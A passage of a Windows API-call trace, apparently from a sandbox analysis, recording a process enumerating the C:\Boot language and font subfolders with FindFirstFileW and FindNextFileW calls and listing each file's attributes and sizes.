ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.896] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x612f00 [0036.896] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.896] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.896] FindClose (in: hFindFile=0x612f00 | out: hFindFile=0x612f00) returned 1 [0036.896] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.896] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0036.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.935] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.935] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.935] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.936] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.936] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0036.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.936] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.936] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.936] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.936] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.936] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0036.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.936] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.936] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.937] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.937] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.937] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0036.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.937] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.937] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.937] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.937] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.937] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0036.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.937] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.937] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.938] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0036.938] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.938] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0036.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.938] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.938] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.938] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.938] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.938] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0036.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.939] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.939] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.939] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.939] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.939] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0036.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.939] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.939] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.939] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.939] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.939] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0036.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.939] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.940] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.940] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.940] FindClose (in: hFindFile=0x6155f0 | out: hFindFile=0x6155f0) returned 1 [0036.940] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.940] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0036.940] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.940] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6155f0 [0036.940] FindNextFileW (in: hFindFile=0x6155f0, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, 